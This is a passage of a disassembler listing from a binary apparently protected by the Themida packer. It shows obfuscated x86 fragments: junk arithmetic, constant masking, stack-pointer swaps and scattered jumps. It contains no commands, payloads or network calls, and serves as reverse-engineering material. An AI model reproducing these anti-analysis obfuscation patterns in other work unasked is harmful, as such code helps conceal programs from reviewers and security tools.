; ---------------------------------------------------------------------------


loc_59F927:				; CODE XREF: Themida_:005A0E16j
		pop	ecx
		shl	ebx, 2
		xor	ebx, 0A159C6FDh
		sub	eax, ebx
		pop	ebx
		add	eax, edi
		add	eax, 1BAD2A05h
		pop	edi
		jmp	loc_5A4CD5
; ---------------------------------------------------------------------------


loc_59F941:				; CODE XREF: Themida_:0059E402j
		mov	ebx, 4A39017Bh
		or	ebx, 4E036B59h
		jmp	loc_5A045C
; ---------------------------------------------------------------------------


loc_59F951:				; CODE XREF: Themida_:005A7ECBj
		mov	cl, bh
		mov	ah, cl
		mov	ecx, [esp]
		add	esp, 4
		pop	ebx
		mov	ch, ah
		pop	eax
		or	ch, 1Ah
		xor	ch, 0C6h
		shl	ch, 5
		or	ch, 67h
		add	ch, 48h
		sub	al, ch
		pop	ecx
		jmp	loc_5A3097
; ---------------------------------------------------------------------------


loc_59F976:				; CODE XREF: Themida_:005AA9EAj
		mov	[esp], ecx
		push	eax
		jmp	loc_5A2460
; ---------------------------------------------------------------------------


loc_59F97F:				; CODE XREF: Themida_:0059AF5Ej
					; Themida_:005A4636j
		push	5D165F1Bh
		pop	eax
		push	ebx
		push	esi
		mov	esi, 48093A51h
		mov	ebx, 62C24C6Ah
		xor	ebx, esi
		pop	esi
		add	eax, 23961B79h
		add	eax, ebx
		sub	eax, 23961B79h
		pop	ebx
		push	0
		jmp	loc_5AC41B
; ---------------------------------------------------------------------------


loc_59F9AB:				; CODE XREF: Themida_:0059E9BAj
		mov	edx, esp
		jmp	loc_59F0CF
; ---------------------------------------------------------------------------


loc_59F9B2:				; CODE XREF: Themida_:005AEE0Fj
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ecx
		jmp	loc_5A047B
; ---------------------------------------------------------------------------


loc_59F9C7:				; CODE XREF: Themida_:0059A0BAj
		mov	esp, [esp]
		add	esp, 4
		push	ebp
		push	eax
		push	ebp
		mov	ebp, 5A1A7BE0h
		jmp	loc_5A9CB6
; ---------------------------------------------------------------------------


loc_59F9DA:				; CODE XREF: Themida_:005A9657j
		push	dword ptr [esp]
		pop	eax
		jmp	loc_5A367E
; ---------------------------------------------------------------------------


loc_59F9E3:				; CODE XREF: Themida_:005A481Cj
		xor	eax, 7A9A50E8h
		add	eax, 1F014080h
		add	esi, eax
		pop	eax
		push	2160h
		mov	[esp], ebx
		mov	ebx, 4
		jmp	loc_5AB2EE
; ---------------------------------------------------------------------------


loc_59FA02:				; CODE XREF: Themida_:0059C4A8j
		push	eax
		xor	dword ptr [esp], 65947292h
		pop	ebx
		xor	ebx, 65947292h
		pop	eax
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_5A505A
; ---------------------------------------------------------------------------


loc_59FA20:				; CODE XREF: Themida_:0059B0B4j
		sub	ebx, 12A27443h
		mov	eax, ebx
		jmp	loc_5ADD00
; ---------------------------------------------------------------------------


loc_59FA2D:				; CODE XREF: Themida_:0059D24Fj
		not	bl
		jmp	loc_5A7D6B
; ---------------------------------------------------------------------------


loc_59FA34:				; CODE XREF: Themida_:005A363Ej
		pop	edi
		jmp	loc_5989B4
; ---------------------------------------------------------------------------


loc_59FA3A:				; CODE XREF: Themida_:0059E347j
		or	esi, 24C0655h
		jmp	loc_5A3E11
; ---------------------------------------------------------------------------


loc_59FA45:				; CODE XREF: Themida_:005A88ADj
		push	dword ptr [esp]
		pop	eax
		push	79ABh
		jmp	loc_59ED96
; ---------------------------------------------------------------------------


loc_59FA53:				; CODE XREF: Themida_:005A8A08j
		add	ebx, edi
		sub	ebx, 18B8444Ah
		pop	edi
		add	ebx, 2
		xchg	ebx, [esp]
		pop	esp
		mul	cx
		push	small 5169h
		mov	[esp], dx
		jmp	loc_5A8B24
; ---------------------------------------------------------------------------


loc_59FA73:				; CODE XREF: Themida_:005AA16Ej
		push	ecx
		push	edx
		mov	edx, 3F836EFAh
		neg	edx
		dec	edx
		jno	loc_59E086
		dec	edx
		jg	loc_5A07D0
		sub	edx, 4CE67444h


loc_59FA90:				; CODE XREF: Themida_:005A2689j
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_5A2AF6
; ---------------------------------------------------------------------------


loc_59FA9C:				; CODE XREF: Themida_:005A6DF6j
		push	edi
		mov	edi, 0BA471CDh
		shr	edi, 1
		shr	edi, 8
		jmp	loc_59978D
; ---------------------------------------------------------------------------


loc_59FAAC:				; CODE XREF: Themida_:00599452j
					; Themida_:0059EE1Aj
		not	ecx
		inc	ecx
		add	ecx, 233E56AEh
		push	ecx
		jmp	loc_59C494
; ---------------------------------------------------------------------------


loc_59FABB:				; CODE XREF: Themida_:005A17B2j
		xor	eax, 4FF45DFBh
		add	ebp, eax
		pop	eax
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5AF285
; ---------------------------------------------------------------------------


loc_59FACC:				; CODE XREF: Themida_:005A1A12j
		add	bl, ch
		pop	cx
		jmp	loc_5A38F7
; ---------------------------------------------------------------------------


loc_59FAD5:				; CODE XREF: Themida_:005A0265j
		mov	[esp], ebx
		push	esp
		mov	ebx, [esp]
		jmp	loc_5A6C1D
; ---------------------------------------------------------------------------


loc_59FAE1:				; CODE XREF: Themida_:0059952Ej
		add	esp, 4
		sub	cl, 85h
		jmp	loc_5AE965
; ---------------------------------------------------------------------------


loc_59FAEF:				; CODE XREF: Themida_:loc_599ED6j
		or	ebx, 47D33DC4h
		ja	loc_59F476
		shl	ebx, 2
		or	ebx, 1C716D06h
		mov	cl, cl


loc_59FB06:				; CODE XREF: Themida_:005A65A1j
		add	ebp, 0CFBC6699h
		mov	edx, ebp
		jmp	loc_5ACAD7
; ---------------------------------------------------------------------------


loc_59FB13:				; CODE XREF: Themida_:005A879Ej
		sub	ebx, eax
		add	ebx, 3EA94280h
		jmp	loc_599A47
; ---------------------------------------------------------------------------


loc_59FB20:				; CODE XREF: Themida_:005AEB92j
		pop	esi
		mov	ecx, esi
		push	dword ptr [esp]
		pop	esi
		jmp	loc_5A329E
; ---------------------------------------------------------------------------


loc_59FB2C:				; CODE XREF: Themida_:005AAFDFj
		mov	eax, [esp]
		add	esp, 4
		push	ebx
		push	66CAh
		mov	[esp], esp
		jmp	loc_599016
; ---------------------------------------------------------------------------


loc_59FB43:				; CODE XREF: Themida_:005AC1ACj
		xchg	edi, [esp]
		mov	esp, [esp]
		xor	ecx, [esp]
		jmp	loc_5A4BC1
; ---------------------------------------------------------------------------


loc_59FB51:				; CODE XREF: Themida_:005A7219j
		xor	ebx, [esp]
		jmp	loc_5A6F1A
; ---------------------------------------------------------------------------


loc_59FB59:				; CODE XREF: Themida_:005A5412j
					; Themida_:005A8906j
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	ecx
		sub	esp, 4
		mov	[esp], eax
		push	0
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5AC971
; ---------------------------------------------------------------------------


loc_59FB83:				; CODE XREF: Themida_:005A6A5Aj
		add	edx, edi
		jmp	loc_5A9D97
; ---------------------------------------------------------------------------


loc_59FB8A:				; CODE XREF: Themida_:loc_5A1DAEj
		push	65C0h
		mov	[esp], ecx
		mov	cx, 74CFh
		and	cx, 74F0h
		jmp	loc_59B847
; ---------------------------------------------------------------------------


loc_59FBA0:				; CODE XREF: Themida_:005AA37Dj
		push	ebx
		mov	ebx, 6F831ACCh
		inc	ebx
		jle	loc_5AE597
		jmp	loc_5AEAAC
; ---------------------------------------------------------------------------


loc_59FBB2:				; CODE XREF: Themida_:005A8FE1j
		jmp	loc_5ACABC
; ---------------------------------------------------------------------------


loc_59FBB7:				; CODE XREF: Themida_:005AEE54j
		push	esp
		pop	edi
		add	edi, 4
		jmp	loc_5998B5
; ---------------------------------------------------------------------------


loc_59FBC4:				; CODE XREF: Themida_:005A525Aj
		pop	ecx
		push	dword ptr [esp]
		pop	edx
		push	7182h
		mov	[esp], eax
		jmp	loc_599C2C
; ---------------------------------------------------------------------------


loc_59FBD6:				; CODE XREF: Themida_:005A7DA5j
		push	6A2Fh
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], eax
		add	dword ptr [esp], 54837856h
		pop	ebp
		sub	ebp, 54837856h
		jmp	loc_5A42E2
; ---------------------------------------------------------------------------


loc_59FBF7:				; CODE XREF: Themida_:005A77D7j
		sub	edx, 44971BE5h
		jnp	loc_5A6FE7
		xor	edx, 7E5B4Dh
		jl	loc_5AC961
		mov	dh, dh


loc_59FC11:				; CODE XREF: Themida_:0059B473j
		mov	edi, 598842BAh
		add	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		push	edx
		jmp	loc_5AD25B
; ---------------------------------------------------------------------------


loc_59FC24:				; CODE XREF: Themida_:005ACADCj
		pop	ebp
		mov	eax, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 554946CEh
		sub	ecx, 5CA039Fh
		jmp	loc_59A03A
; ---------------------------------------------------------------------------


loc_59FC3C:				; CODE XREF: Themida_:005A210Bj
		mov	ebp, esp
		jmp	loc_59E8AC
; ---------------------------------------------------------------------------


loc_59FC43:				; CODE XREF: Themida_:0059B132j
		pop	ecx
		not	ecx
		add	ecx, 0E5FFEE2Ch
		and	eax, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		or	eax, eax
		jz	loc_59B17A
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_5A18DB
; ---------------------------------------------------------------------------


loc_59FC68:				; CODE XREF: Themida_:0059AC64j
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_59CA16
; ---------------------------------------------------------------------------


loc_59FC76:				; CODE XREF: Themida_:005A32BBj
		dec	ch
		sub	ch, 0EBh
		jmp	loc_59F0E4
; ---------------------------------------------------------------------------


loc_59FC80:				; CODE XREF: Themida_:005A8243j
		shr	ebx, 1
		jz	loc_5A06BE
		sub	ebx, 1EF99FFBh
		push	ebx
		xor	dword ptr [esp], 96E2F15h
		jmp	loc_5A8AC7
; ---------------------------------------------------------------------------


loc_59FC9B:				; CODE XREF: Themida_:005983F6j
		sub	esp, 4
		mov	[esp], edx
		push	dword ptr [esp+4]
		mov	edx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		pop	edx
		push	2EDAh
		jmp	loc_5A15F3
; ---------------------------------------------------------------------------


loc_59FCC5:				; CODE XREF: Themida_:005A33C6j
		jmp	loc_5A8404
; ---------------------------------------------------------------------------


loc_59FCCA:				; CODE XREF: Themida_:0059E418j
					; Themida_:005AE554j
		add	esi, 719C3375h
		or	edx, esi
		pop	esi
		add	edx, 1
		add	edx, 4310394Bh
		add	edx, 423DEC4Fh
		jmp	loc_59C233
; ---------------------------------------------------------------------------


loc_59FCEA:				; CODE XREF: Themida_:005A5B8Cj
					; Themida_:005A62C2j
		push	ebx
		mov	ebx, esp
		push	ebp
		mov	ebp, 6BBF6018h
		and	ebp, 60E50A92h
		or	ebp, 23FF7EC1h
		xor	ebp, 61554BD0h
		sub	ebp, 2AA34FDh
		add	ebx, ebp
		jmp	loc_59AE2F
; ---------------------------------------------------------------------------


loc_59FD12:				; CODE XREF: Themida_:005A31C4j
		mov	edi, 68EA371Dh
		jmp	loc_5AE935
; ---------------------------------------------------------------------------


loc_59FD1C:				; CODE XREF: Themida_:005AAA20j
		add	ecx, 59866DDh
		not	ecx
		push	ebp
		mov	ebp, 52C86C29h
		dec	ebp
		and	ebp, 50D63404h
		add	ebp, 2FC6E43h
		sub	ebp, 7AB24712h
		push	esi
		jmp	loc_5ADB90
; ---------------------------------------------------------------------------


loc_59FD43:				; CODE XREF: Themida_:005A7711j
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 2
		jmp	loc_59D60D
; ---------------------------------------------------------------------------


loc_59FD53:				; CODE XREF: Themida_:0059C509j
					; Themida_:0059C5E8j
		mov	edi, 21993A08h
		add	edi, 2DAD4073h
		not	edi
		or	edi, 1AD40758h
		neg	edi
		jmp	loc_5A7143
; ---------------------------------------------------------------------------


loc_59FD6D:				; CODE XREF: Themida_:005A4A15j
		push	ebx
		mov	ebx, 5A7F7DB3h
		shl	ebx, 3
		push	edi
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 5E802D27h
		mov	edi, ebp
		pop	ebp
		add	ebx, edi
		pop	edi
		add	eax, ebx
		pop	ebx
		and	eax, 0CED437Ah
		push	ecx
		mov	ecx, 308B22CAh
		add	eax, ecx
		pop	ecx
		add	eax, 0C48C83BBh
		xor	edi, eax
		push	dword ptr [esp]
		pop	eax
		push	5D60h
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 36E53E9h
		inc	ebx
		xor	ebx, 6AA14F56h
		sub	ebx, 69CF1CB8h
		jmp	loc_59F4B5
; ---------------------------------------------------------------------------


loc_59FDD4:				; CODE XREF: Themida_:005A7B99j
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		neg	esi
		jmp	loc_5AD922
; ---------------------------------------------------------------------------


loc_59FDE4:				; CODE XREF: Themida_:0059E2F7j
		push	esi
		mov	esi, 40880D51h
		jmp	loc_5AEB3D
; ---------------------------------------------------------------------------


loc_59FDEF:				; CODE XREF: Themida_:005AE4ADj
		add	ebx, 13C34CAh
		add	ebx, edx
		sub	ebx, 13C34CAh
		pop	edx
		add	eax, 74070E7Bh
		sub	eax, 59DE459Ah
		add	eax, ebx
		add	eax, 59DE459Ah
		sub	eax, 74070E7Bh
		mov	ebx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_5AABDA
; ---------------------------------------------------------------------------


loc_59FE2B:				; CODE XREF: Themida_:005AE003j
		push	esi
		mov	esi, 49DC6673h
		jmp	loc_59D75C
; ---------------------------------------------------------------------------


loc_59FE36:				; CODE XREF: Themida_:005AF1C8j
		jns	loc_5AE59C
		sub	esi, 48E06892h
		mov	ebp, esi
		mov	esi, [esp]
		jmp	loc_5A9325
; ---------------------------------------------------------------------------


loc_59FE4C:				; CODE XREF: Themida_:0059C66Ej
		xor	ax, bx
		push	edx
		mov	dx, 6C8Dh
		not	dx
		inc	dx
		sub	dx, 0D233h
		add	ax, 7E50h
		add	ax, 7FE5h
		push	ebp
		jmp	loc_5A842C
; ---------------------------------------------------------------------------


loc_59FE6C:				; CODE XREF: Themida_:005AE4D9j
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	cx, [esp]
		jmp	loc_59A4BE
; ---------------------------------------------------------------------------


loc_59FE7B:				; CODE XREF: Themida_:005A57D4j
		pop	edi
		jmp	loc_5A5BD2
; ---------------------------------------------------------------------------


loc_59FE81:				; CODE XREF: Themida_:005AE6D3j
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5A88B2
; ---------------------------------------------------------------------------


loc_59FE8E:				; CODE XREF: Themida_:005A646Bj
		push	eax
		mov	eax, 2AA94F75h
		sub	esi, eax
		mov	eax, [esp]
		add	esp, 4
		pop	ebx
		push	esi
		push	dword ptr [esp+4]
		mov	esi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		sub	[esp], ax
		pushf
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_59FEB8:				; CODE XREF: Themida_:005A1760j
		pop	edx
		pop	eax
		jmp	loc_59E0D2
; ---------------------------------------------------------------------------


loc_59FEBF:				; CODE XREF: Themida_:0059C954j
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], esp
		push	ecx
		jmp	loc_5AA487
; ---------------------------------------------------------------------------


loc_59FED5:				; CODE XREF: Themida_:005A2645j
		push	edx
		jmp	loc_59CCB1
; ---------------------------------------------------------------------------


loc_59FEDB:				; CODE XREF: Themida_:005A5F42j
		not	ecx
		add	ecx, 83616687h
		push	0B83h
		mov	[esp], ebp
		push	edi
		mov	edi, 604E7593h
		mov	ebp, 0F59EC33Fh
		add	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_5A36AA
; ---------------------------------------------------------------------------


loc_59FF06:				; CODE XREF: Themida_:0059DC3Ej
		push	eax
		mov	eax, 4
		add	ebp, eax
		pop	eax
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	ebx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	[edx], ch
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_59FF3B:				; CODE XREF: Themida_:005A12CCj
		mov	esi, 71E42636h
		jmp	loc_5AEABC
; ---------------------------------------------------------------------------


loc_59FF45:				; CODE XREF: Themida_:005A743Bj
		xchg	esi, [esp]
		pop	esp
		jmp	loc_59BCE1
; ---------------------------------------------------------------------------


loc_59FF4E:				; CODE XREF: Themida_:005AB43Fj
		add	edx, edi
		pop	edi
		jmp	loc_5A8D8A
; ---------------------------------------------------------------------------


loc_59FF56:				; CODE XREF: Themida_:loc_5AB3A2j
		push	edx
		mov	edx, 38CB6A8Ah
		shl	edx, 2
		jmp	loc_5AE741
; ---------------------------------------------------------------------------


loc_59FF64:				; CODE XREF: Themida_:005A4451j
		push	dword ptr [esp]
		jmp	loc_5A3DC7
; ---------------------------------------------------------------------------


loc_59FF6C:				; CODE XREF: Themida_:005A7C45j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, esp
		jmp	loc_5ABDF9
; ---------------------------------------------------------------------------


loc_59FF89:				; CODE XREF: Themida_:005A0628j
		push	ecx
		sub	esp, 4
		mov	[esp], esi
		push	189F5367h
		pop	esi
		xor	esi, 6A6D56ECh
		jb	loc_5A2794
		neg	esi
		jmp	loc_5A06CB
; ---------------------------------------------------------------------------


loc_59FFAC:				; CODE XREF: Themida_:0059DE58j
		mov	ecx, 67A10E7Ch
		add	eax, 9F81A20h
		jmp	loc_5A9EDE
; ---------------------------------------------------------------------------


loc_59FFBB:				; CODE XREF: Themida_:005A2B9Ej
		push	4D76291Ch
		pop	edi
		shr	edi, 1
		jmp	loc_5AE295
; ---------------------------------------------------------------------------


loc_59FFC8:				; CODE XREF: Themida_:005A5055j
		mov	ecx, [esp]
		add	esp, 4
		push	65C0h
		mov	[esp], ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		mov	fs:[edx], ax
		jmp	loc_5AD08F
; ---------------------------------------------------------------------------


loc_59FFEB:				; CODE XREF: Themida_:005A061Aj
		mov	[esp], ebx
		mov	ebx, 6CC39A7h
		or	ecx, ebx
		pop	ebx
		push	1AFAh
		mov	[esp], eax
		mov	eax, 612E7C2Fh
		and	ecx, eax
		jmp	loc_5A912F
; ---------------------------------------------------------------------------


loc_5A000A:				; CODE XREF: Themida_:005A2434j
		mov	ebx, 0FF8E2984h
		add	eax, ebx
		pop	ebx
		mov	esi, eax
		pop	eax
		add	edi, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		push	ebx
		mov	ebx, esp
		jmp	loc_59B478
; ---------------------------------------------------------------------------


loc_5A0029:				; CODE XREF: Themida_:005A0DDAj
		push	4B8E764Eh
		jmp	loc_59F0EF
; ---------------------------------------------------------------------------


loc_5A0033:				; CODE XREF: Themida_:005A6293j
		pop	edx
		jmp	loc_59AF23
; ---------------------------------------------------------------------------


loc_5A0039:				; CODE XREF: Themida_:005A0053j
		push	edi
		mov	edi, 39B15D45h
		sub	edi, 43174E52h
		jmp	loc_59D887
; ---------------------------------------------------------------------------


loc_5A004A:				; CODE XREF: Themida_:005A9B90j
		push	684D3BC5h
		pop	edx
		not	edx
		dec	edx
		jnp	loc_5A0039
		push	edi
		mov	edi, 39B15D45h
		sub	edi, 43174E52h
		jmp	loc_5A2560
; ---------------------------------------------------------------------------


loc_5A006A:				; CODE XREF: Themida_:005AD66Fj
		xor	ecx, ebx
		jmp	loc_5A1E35
; ---------------------------------------------------------------------------


loc_5A0071:				; CODE XREF: Themida_:005A3CABj
		push	eax
		mov	eax, 64D25C98h
		jmp	loc_5A1C34
; ---------------------------------------------------------------------------


loc_5A007C:				; CODE XREF: Themida_:0059950Dj
					; Themida_:005AC08Fj
		add	eax, ecx
		add	eax, 20F5695Dh
		mov	ecx, [esp]
		add	esp, 4
		mov	edi, eax
		jmp	loc_5A8302
; ---------------------------------------------------------------------------


loc_5A0090:				; CODE XREF: Themida_:005A3EC8j
		push	1953h
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 2Ch
		mov	ecx, edi
		pop	edi
		add	ecx, 1511053Dh
		sub	ecx, 59FF4778h
		jmp	loc_5AC3A4
; ---------------------------------------------------------------------------


loc_5A00BA:				; CODE XREF: Themida_:0059BC4Ej
		add	ebx, 2EEA032Fh
		push	eax
		mov	eax, 26E71BEBh
		sub	ebx, eax
		pop	eax
		sub	ebx, eax
		jmp	loc_5A34A0
; ---------------------------------------------------------------------------


loc_5A00D0:				; CODE XREF: Themida_:005AA44Ej
		mov	ebp, 3D7556E9h
		sub	ebp, 584628C3h
		shl	ebp, 6
		sub	ebp, 0CDF34906h
		xor	edi, ebp
		jmp	loc_5AEB8F
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		jmp	loc_5A6A9D
; ---------------------------------------------------------------------------


loc_5A00F3:				; CODE XREF: Themida_:0059F060j
		pop	ecx
		jmp	loc_5A8DFF
; ---------------------------------------------------------------------------


loc_5A00F9:				; CODE XREF: Themida_:005A95F3j
		pop	ecx
		jmp	loc_5A86B6
; ---------------------------------------------------------------------------


loc_5A00FF:				; CODE XREF: Themida_:0059A582j
		mov	ebx, 593248E0h
		sub	esi, ebx
		pop	ebx
		sub	esi, edi
		add	esi, 593248E0h
		jmp	loc_5A136A
; ---------------------------------------------------------------------------


loc_5A0114:				; CODE XREF: Themida_:005A320Aj
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	esi
		mov	esi, esp
		push	edx
		mov	edx, 4
		jmp	loc_5AD046
; ---------------------------------------------------------------------------


loc_5A0129:				; CODE XREF: Themida_:0059EAF1j
		add	esp, 4
		push	dx
		mov	dh, 4Dh
		sub	bl, dh
		pop	dx
		push	eax
		push	ebx
		mov	bl, 9Ah
		mov	al, bl
		pop	ebx
		inc	al
		add	al, 46h
		sub	bl, 0F3h
		sub	bl, al
		add	bl, 0F3h
		pop	eax
		jmp	loc_59AA38
; ---------------------------------------------------------------------------


loc_5A014D:				; CODE XREF: Themida_:loc_59DB22j
		add	bp, 5E9Bh
		mov	bx, bp
		mov	ebp, [esp]
		push	ebx
		mov	ebx, esp
		jmp	loc_5AAF63
; ---------------------------------------------------------------------------


loc_5A0160:				; CODE XREF: Themida_:005A8776j
		pop	esi
		jmp	loc_59E051
; ---------------------------------------------------------------------------


loc_5A0166:				; CODE XREF: Themida_:0059F3C1j
		push	dword ptr [edi+eax*4]
		push	7B1Bh
		mov	[esp], eax
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		jmp	loc_5ACC22
; ---------------------------------------------------------------------------


loc_5A0185:				; CODE XREF: Themida_:005A5099j
		mov	ebp, 619C0541h
		jmp	loc_59C2BA
; ---------------------------------------------------------------------------


loc_5A018F:				; CODE XREF: Themida_:005AC61Dj
		mov	ebx, [esp]
		add	esp, 4
		sub	dword ptr [esp+4], 519869EDh
		add	dword ptr [esp+4], 7F10554Dh
		sub	[esp+4], ebp
		sub	dword ptr [esp+4], 7F10554Dh
		push	ebp
		jmp	loc_5AC9D3
; ---------------------------------------------------------------------------


loc_5A01BA:				; CODE XREF: Themida_:005ACC08j
		xchg	ebp, [esp]
		jmp	loc_5A154B
; ---------------------------------------------------------------------------


loc_5A01C2:				; CODE XREF: Themida_:0059A6E3j
		jmp	loc_5A484B
; ---------------------------------------------------------------------------


loc_5A01C7:				; CODE XREF: Themida_:0059ADCDj
		jmp	loc_59B0B9
; ---------------------------------------------------------------------------


loc_5A01CC:				; CODE XREF: Themida_:005AEBBAj
		pop	ebp
		add	ebx, ebp
		jmp	loc_5AA8D4
; ---------------------------------------------------------------------------


loc_5A01D4:				; CODE XREF: Themida_:005A4285j
		jle	loc_5A8C9E
		add	edi, 1AF1251h
		jb	loc_5AEBF0
		add	edi, 32A358B0h
		mov	ecx, edi
		pop	edi
		push	eax
		mov	eax, 51B029FFh
		shr	eax, 4
		push	edx
		push	555676F5h
		jmp	loc_5AAF04
; ---------------------------------------------------------------------------


loc_5A0203:				; CODE XREF: Themida_:005A6DA5j
		add	ebp, ebx
		mov	ebx, [esp]
		jmp	loc_5989EC
; ---------------------------------------------------------------------------


loc_5A020D:				; CODE XREF: Themida_:loc_5A9427j
		and	dl, 56h
		jmp	loc_5AB399
; ---------------------------------------------------------------------------


loc_5A0215:				; CODE XREF: Themida_:0059D167j
		push	esp
		push	dword ptr [esp]
		pop	esi
		jmp	loc_5ACA9D
; ---------------------------------------------------------------------------


loc_5A021F:				; CODE XREF: Themida_:005A736Fj
		pop	edi
		mov	esi, ebp
		jmp	loc_5ADC57
; ---------------------------------------------------------------------------


loc_5A0227:				; CODE XREF: Themida_:005AAACCj
		push	dword ptr [esp+4]
		pop	ebx
		jmp	loc_598F9B
; ---------------------------------------------------------------------------


loc_5A0231:				; CODE XREF: Themida_:005A6C18j
		sub	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	[esp], esp
		push	99Fh
		mov	[esp], edi
		mov	edi, 4
		jmp	loc_5A61B5
; ---------------------------------------------------------------------------


loc_5A024F:				; CODE XREF: Themida_:005A760Aj
		mov	eax, ebx
		jmp	loc_59A755
; ---------------------------------------------------------------------------


loc_5A0256:				; CODE XREF: Themida_:0059908Aj
		jmp	loc_5AC94A
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		sub	esp, 4
		jmp	loc_59FAD5
; ---------------------------------------------------------------------------


loc_5A026A:				; CODE XREF: Themida_:005A88E6j
		jmp	loc_5A74E5
; ---------------------------------------------------------------------------


loc_5A026F:				; CODE XREF: Themida_:0059B2CEj
		sub	edx, 4CAD6108h
		add	edx, edi
		add	edx, 4CAD6108h
		pop	edi
		add	edx, 286D42EAh
		add	edx, eax
		push	ebp
		push	ecx
		mov	ecx, 476E5DE8h
		mov	ebp, 92C97DE5h
		sub	ebp, ecx
		pop	ecx
		jmp	loc_5A0BFD
; ---------------------------------------------------------------------------


loc_5A029A:				; CODE XREF: Themida_:0059A9EEj
					; Themida_:005A038Cj
		add	esp, 4
		push	edi
		jmp	loc_5AB3E5
; ---------------------------------------------------------------------------


loc_5A02A3:				; CODE XREF: Themida_:0059AF44j
		pop	eax
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		xor	edx, edx
		jmp	loc_5A4554
; ---------------------------------------------------------------------------


loc_5A02B2:				; CODE XREF: Themida_:005A0A08j
		shr	ebp, 1
		jmp	loc_5A99A3
; ---------------------------------------------------------------------------


loc_5A02B9:				; CODE XREF: Themida_:005A4DD0j
		sub	edx, 23A33C06h
		sub	edx, 6EF64C5Eh
		sub	edx, ebp
		jmp	loc_5A4137
; ---------------------------------------------------------------------------


loc_5A02CC:				; CODE XREF: Themida_:0059D29Ej
		pop	eax
		push	edi
		pop	ebx
		pop	edi
		shr	ebx, 1
		xor	ebx, 3E84B788h
		add	ecx, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5988E9
; ---------------------------------------------------------------------------


loc_5A02FC:				; CODE XREF: Themida_:0059BEA1j
		pop	eax
		push	eax
		mov	ah, 0B2h
		dec	ah
		shr	ah, 2
		neg	ah
		or	ah, 3Fh
		jmp	loc_5A03D8
; ---------------------------------------------------------------------------


loc_5A030F:				; CODE XREF: Themida_:005AC6CBj
		mov	ebx, 55784D7Bh
		or	ebp, ebx
		pop	ebx
		dec	ebp
		xor	ebp, 28871EC2h
		push	edx
		mov	edx, 1E1C7304h
		add	edx, 0BA9F0F99h
		add	ebp, edx
		pop	edx
		xor	eax, ebp
		pop	ebp
		jmp	loc_59B0B9
; ---------------------------------------------------------------------------


loc_5A0335:				; CODE XREF: Themida_:00598754j
		add	esp, 4
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		imul	ecx, eax
		push	ecx
		pushf
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5A034B:				; CODE XREF: Themida_:005AB046j
		add	dword ptr [esp], 4
		pop	edi
		add	edi, 4
		push	eax
		jmp	loc_5A1B08
; ---------------------------------------------------------------------------


loc_5A035F:				; CODE XREF: Themida_:005A2CCFj
		push	1373h
		mov	[esp], ebx
		mov	ebx, 0C33DB863h
		sub	ecx, 66A14739h
		sub	ecx, 34C5392Ah
		sub	ecx, ebx
		add	ecx, 34C5392Ah
		add	ecx, 66A14739h
		pop	ebx
		or	ebx, ecx
		mov	ecx, [esp]
		jmp	loc_5A029A
; ---------------------------------------------------------------------------


loc_5A0391:				; CODE XREF: Themida_:0059BFF1j
					; Themida_:005AE0E3j
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_5A1A82
; ---------------------------------------------------------------------------


loc_5A03A3:				; CODE XREF: Themida_:005AB567j
		add	edx, 3E587587h
		add	edx, 5B475644h
		jmp	loc_5A14C8
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	4AEh
		mov	[esp], esi
		jmp	loc_5AE61F
; ---------------------------------------------------------------------------


